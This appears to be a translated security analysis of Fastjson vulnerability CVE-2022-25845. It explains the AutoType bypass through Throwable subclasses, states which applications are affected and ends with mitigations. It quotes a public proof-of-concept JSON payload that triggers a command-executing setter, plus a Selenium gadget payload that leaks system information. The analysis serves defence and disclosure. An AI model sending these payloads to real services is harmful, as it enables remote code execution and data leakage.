本文已獲取原作者 Uriya Yavnieli 授權(quán)。如有錯(cuò)誤,歡迎指正。
前言
幾周前, Fastjson 發(fā)布了一個(gè)新版本 (1.2.83) ,其中包含一項(xiàng)安全漏洞修復(fù)。據(jù)稱(chēng)攻擊者可以利用此漏洞在遠(yuǎn)程機(jī)器上執(zhí)行代碼。根據(jù)發(fā)布的多篇文章,攻擊者通過(guò)漏洞可以繞過(guò)Fastjson中的“AutoTypeCheck”機(jī)制,完成遠(yuǎn)程代碼執(zhí)行。
這個(gè) Fastjson 漏洞最近才收到一個(gè) CVE 漏洞標(biāo)識(shí)符 – CVE-2022-25845,以及高達(dá)8.1的CVSS漏洞評(píng)分。盡管如此,這個(gè)漏洞仍撲朔迷離。盡管這是被宣稱(chēng)為在無(wú)處不在的組件中存在的一個(gè)高危RCE漏洞(將近5000個(gè)Maven項(xiàng)目都存在Fastjson依賴(lài)!),卻幾乎沒(méi)有任何關(guān)于它的公開(kāi)技術(shù)細(xì)節(jié)。到底是哪里存在漏洞,又是在什么條件下容易被攻擊?
在本篇文章中,我們深入研究了這個(gè)Fastjson漏洞的嚴(yán)重性,以及那些類(lèi)型的Java應(yīng)用程序受此影響。文末是給目前無(wú)法升級(jí)到指定Fastjson版本的開(kāi)發(fā)人員的一些策略建議。
哪些情況會(huì)受到CVE-2022-25845漏洞的影響?
所有依賴(lài) Fastjson 版本 1.2.80 或更早版本的程序,在應(yīng)用程序中如果包含使用用戶(hù)數(shù)據(jù)調(diào)用 JSON.parse 或 JSON.parseObject 方法,但不指定要反序列化的特定類(lèi),都會(huì)受此漏洞的影響。

雖然看起來(lái)很寬泛,但是我們可以發(fā)現(xiàn),在這些前提條件下,攻擊者也只能通過(guò)這個(gè)漏洞調(diào)用特定類(lèi)型的Java反序列化gadget(繼承Throwable類(lèi)的gadget類(lèi)),這大大限制了這個(gè)漏洞的實(shí)際影響。
技術(shù)深入探究
Fastjson 是一個(gè) Java 庫(kù),可以將 Java 對(duì)象序列化和反序列化,實(shí)現(xiàn)Java對(duì)象和JSON的相互轉(zhuǎn)換。
和大多數(shù) JSON 類(lèi)一樣,F(xiàn)astjson 支持將基本 JSON 類(lèi)型(數(shù)組和對(duì)象)分別序列化和反序列化為它們的 Java 等價(jià)對(duì)象——Arrays 和 Maps。
然而,F(xiàn)astjson也可以將用戶(hù)的Java對(duì)象(POJO)序列化為JSON,或從JSON反序列化為Java對(duì)象。
例如,我們定義了一個(gè)名為User的類(lèi),以下代碼時(shí)將其進(jìn)行序列化為JSON,然后再進(jìn)行反序列化。
public class App
{
public static void main( String[] args )
{
...
String jsonString = JSON.toJSONString(user);
User user2 = JSON.parseObject(jsonString, User.class);
}
}
JSON.parseObject()返回一個(gè) JSONObject 對(duì)象, 然后這個(gè)對(duì)象又轉(zhuǎn)換為User類(lèi)。
有時(shí)候,開(kāi)發(fā)人員想要更靈活的代碼來(lái)接收序列化的JSON,告訴代碼JSON應(yīng)該被反序列化為哪種類(lèi)。例如下面這種JSON形式:
"users": [
{
"@type": "AdminUser",
"username": "admin",
"password": "21232f297a57a5a743894a0e4a801fc3"
},
{
"@type": "GuestUser",
"username": "guest",
"password": ""
}
]
}
Fastjson 支持一個(gè)名為“AutoType”的功能。啟用該功能后,可以為每個(gè)用戶(hù)entry引入類(lèi)型。開(kāi)發(fā)人員只需要調(diào)用如下代碼:
JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"
但是,如果反序列化的JSON是用戶(hù)可以控制的,則在啟用AutoType的情況下對(duì)其進(jìn)行解析可能會(huì)出現(xiàn)反序列化安全問(wèn)題。因?yàn)楣粽呖梢詫?shí)例化Classpath上可用的任意類(lèi),并為類(lèi)的構(gòu)造函數(shù)提供任意參數(shù)。這個(gè)問(wèn)題已經(jīng)被很多次證實(shí)確實(shí)可以利用,并且例如ysoserial之類(lèi)的框架就存在這里攻擊手段的風(fēng)險(xiǎn)(Java的“gadget”類(lèi))。
因此,F(xiàn)astjson的開(kāi)發(fā)者選擇默認(rèn)禁用了AutoType功能,這應(yīng)該能夠安全地解析人員JSON數(shù)據(jù)了。但是,AutoType的機(jī)制比這復(fù)雜得多...
繞過(guò) AutoType 默認(rèn)禁用策略
當(dāng)JSON.parseObject()被調(diào)用時(shí),它最終會(huì)調(diào)用到 DefaultJSONParser.parseObject(),并且傳入?yún)?shù) object 為 JSONObject,fieldName 為 null。當(dāng)這個(gè)方法遇到“@type”這個(gè)符號(hào)(JSON.DEFAULT_TYPE_KEY)時(shí),就會(huì)調(diào)用config.checkAutoType:
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}
最終,在所有flag都是默認(rèn)的情況下,代碼會(huì)調(diào)用至config.checkAutoType()。在這里,我們可以看到因?yàn)楸涣腥牒诿麊味鵁o(wú)法通過(guò)AutoType 機(jī)制實(shí)例化的類(lèi)列表。
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
這些被Ban的類(lèi)是以下這些:
- java.lang.Object
- java.io.Serializable
- java.lang.Cloneable
- java.lang.Runnable
- java.lang.AutoCloseable
- java.io.Closeable
- java.lang.Iterable
- java.util.Collection
- java.lang.Readable
- java.util.EventListener
你也可以在 fastjson-blacklist 查看到更多被列入黑名單的類(lèi)。這個(gè)倉(cāng)庫(kù)維護(hù)了被列入Fastjson黑名單的類(lèi)的hash值。
最后,代碼將嘗試找到一個(gè)反序列化器deserializer,用來(lái)對(duì)這個(gè)已經(jīng)被JSON序列化的類(lèi)進(jìn)行反序列化。
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
在 ParserConfig.getDeserializer()內(nèi)部,有一個(gè)關(guān)鍵檢查,用于驗(yàn)證目標(biāo)類(lèi)是否繼承了 Throwable 類(lèi):
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);
ThrowableDeserializer.deserialize()會(huì)處理這種數(shù)據(jù)。如果存在“@type”,它將使用 autoTypeCheck()檢查并繼續(xù)正常反序列化:
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
因此,漏洞的核心在于 ,只要目標(biāo)類(lèi)繼承自 Throwable 類(lèi),F(xiàn)astjson便可以反序列化為任意類(lèi)!
在這種情況下,負(fù)責(zé)創(chuàng)建反序列化類(lèi)的函數(shù)是 createException(),它處理了 3 種不同類(lèi)型的構(gòu)造函數(shù)。一個(gè)沒(méi)有任何參數(shù),一個(gè)帶有異常消息的參數(shù),一個(gè)帶有異常消息和異常原因參數(shù)。在此之后,它將先嘗試調(diào)用更為復(fù)雜的構(gòu)造函數(shù)(causeConstructor、messageConstructor 和 defaultConstructor):
private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
Constructor<?> defaultConstructor = null;
Constructor<?> messageConstructor = null;
Constructor<?> causeConstructor = null;
for (Constructor<?> constructor : exClass.getConstructors()) {
Class<?>[] types = constructor.getParameterTypes();
if (types.length == 0) {
defaultConstructor = constructor;
continue;
}
if (types.length == 1 && types[0] == String.class) {
messageConstructor = constructor;
continue;
}
if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
causeConstructor = constructor;
continue;
}
}
if (causeConstructor != null) {
return (Throwable) causeConstructor.newInstance(message, cause);
}
if (messageConstructor != null) {
return (Throwable) messageConstructor.newInstance(message);
}
if (defaultConstructor != null) {
return (Throwable) defaultConstructor.newInstance();
}
作為類(lèi)實(shí)例化的一步,還會(huì)為每個(gè)相關(guān)成員變量調(diào)用一個(gè) setter方法:
if (otherValues != null) {
JavaBeanDeserializer exBeanDeser = null;
if (exClass != null) {
if (exClass == clazz) {
exBeanDeser = this;
} else {
ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
if (exDeser instanceof JavaBeanDeserializer) {
exBeanDeser = (JavaBeanDeserializer) exDeser;
}
}
}
if (exBeanDeser != null) {
for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
String key = entry.getKey();
Object value = entry.getValue();
FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
if (fieldDeserializer != null) {
FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
if (!fieldInfo.fieldClass.isInstance(value)) {
value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
}
fieldDeserializer.setValue(ex, value);
}
}
}
}
怎么利用 CVE-2022-25845 漏洞?
在了解了AutoType 機(jī)制中的上述“漏洞”之后,讓我們看看一個(gè)在現(xiàn)實(shí)中利用這個(gè)漏洞的可行性。這個(gè)漏洞據(jù)稱(chēng)可以實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。
由 YoungBear 發(fā)布的漏洞利用方案,通過(guò)傳入這個(gè)JSON可以運(yùn)行任意系統(tǒng)操作命令。
{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}
這個(gè)漏洞利用方案依賴(lài)于在 Java 應(yīng)用程序中定義的下面這個(gè)繼承Exception的類(lèi):
package com.example.fastjson.poc20220523;
import java.io.IOException;
/**
* @author youngbear
* @email youngbear@aliyun.com
* @date 2022/5/29 8:28
* @blog https://blog.csdn.net/next_second
* @github https://github.com/YoungBear
* @description POC類(lèi):需要代碼中有該類(lèi)
*/
public class Poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
當(dāng)反序列化執(zhí)行到上面這一段JSON時(shí),Poc20220523這個(gè)類(lèi)就創(chuàng)建了,并且提供name參數(shù)是通過(guò)自動(dòng)調(diào)用setter方法。
如代碼所示,這將最終調(diào)用包含 str = “calc”的惡意 setName() setter 函數(shù):
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
這部分的實(shí)際代碼內(nèi)容為打開(kāi)windows計(jì)算器:

這個(gè)漏洞利用方案顯然只是一個(gè)演示,因?yàn)槿魏握5?Java 應(yīng)用程序都不會(huì)包含類(lèi)似于 Poc20220523 這樣會(huì)基于外部參數(shù)運(yùn)行 shell 命令的異常派生類(lèi)。
現(xiàn)在亟待解決的問(wèn)題是 — 是否有大家熟知的 Java“gadget”類(lèi)可以作為此漏洞的一部分被濫用?即繼承自Exception或Throwable,并且存在相關(guān)的構(gòu)造函數(shù)或者setter方法,可能會(huì)造成實(shí)際安全影響的Java類(lèi)。
目前,有一個(gè)兼容的gadget類(lèi)(來(lái)自 Selenium 庫(kù))已經(jīng)在被發(fā)布了。它會(huì)導(dǎo)致非常低影響的數(shù)據(jù)泄漏:
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"y":{
"$ref":"$x.systemInformation"
}
}
反序列化這個(gè) JSON 最終會(huì)創(chuàng)建一個(gè) HashMap,其中“y”值為有關(guān)機(jī)器的一些基本信息:
"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"
根據(jù)應(yīng)用程序的不同,這些信息最終可能會(huì)被存儲(chǔ)或發(fā)送給攻擊者(例如,它可能被寫(xiě)入可遠(yuǎn)程訪(fǎng)問(wèn)日志)。
在檢查了 ysoserial 等其他知名來(lái)源后,我們沒(méi)有發(fā)現(xiàn)任何可以在實(shí)際場(chǎng)景中能夠?qū)е逻h(yuǎn)程代碼執(zhí)行的gadget類(lèi)。因此,想要利用這個(gè)漏洞進(jìn)行實(shí)際攻擊的黑客,需要對(duì)被共計(jì)的Java應(yīng)用服務(wù)器進(jìn)行深入研究,以找到一個(gè)加載在Classpath中的自定義的Java gadget類(lèi)。這個(gè)類(lèi)繼承自Exception/Throwable,并包含可用于獲取權(quán)限、泄漏數(shù)據(jù)甚至運(yùn)行任意代碼的相關(guān)方法。
總而言之,我們?cè)u(píng)估目前這個(gè)漏洞似乎并未構(gòu)成很高風(fēng)險(xiǎn)的威脅。盡管存在一個(gè)潛在影響巨大(遠(yuǎn)程代碼執(zhí)行)的公共PoC漏洞可利用,并且攻擊的條件并不是甚微(將不受信任的輸入數(shù)據(jù)傳遞給特定易受攻擊的 API)。最重要的是,必須找到一個(gè)合適的gadget類(lèi)(或許由于一些不太可能的屬性根本不存在)來(lái)突破特定被攻擊的目標(biāo)。
如何完全修復(fù) CVE-2022-25845?
要完全修復(fù) CVE-2022-25845,我們建議將 Fastjson 升級(jí)到最新版本,目前為 1.2.83。
如何降低 CVE-2022-25845 風(fēng)險(xiǎn)?
啟用 Fastjson 的“Safe Mode”可以減緩這個(gè)漏洞風(fēng)險(xiǎn)。
可以通過(guò)執(zhí)行以下任何一種操作來(lái)開(kāi)啟Safe Mode:
- 通過(guò)代碼配置
ParserConfig.getGlobalInstance().setSafeMode(true); - 通過(guò)JVM啟動(dòng)參數(shù)配置
-Dfastjson.parser.safeMode=true - 通過(guò)Fastjson的配置文件配置項(xiàng)
fastjson.parser.safeMode=true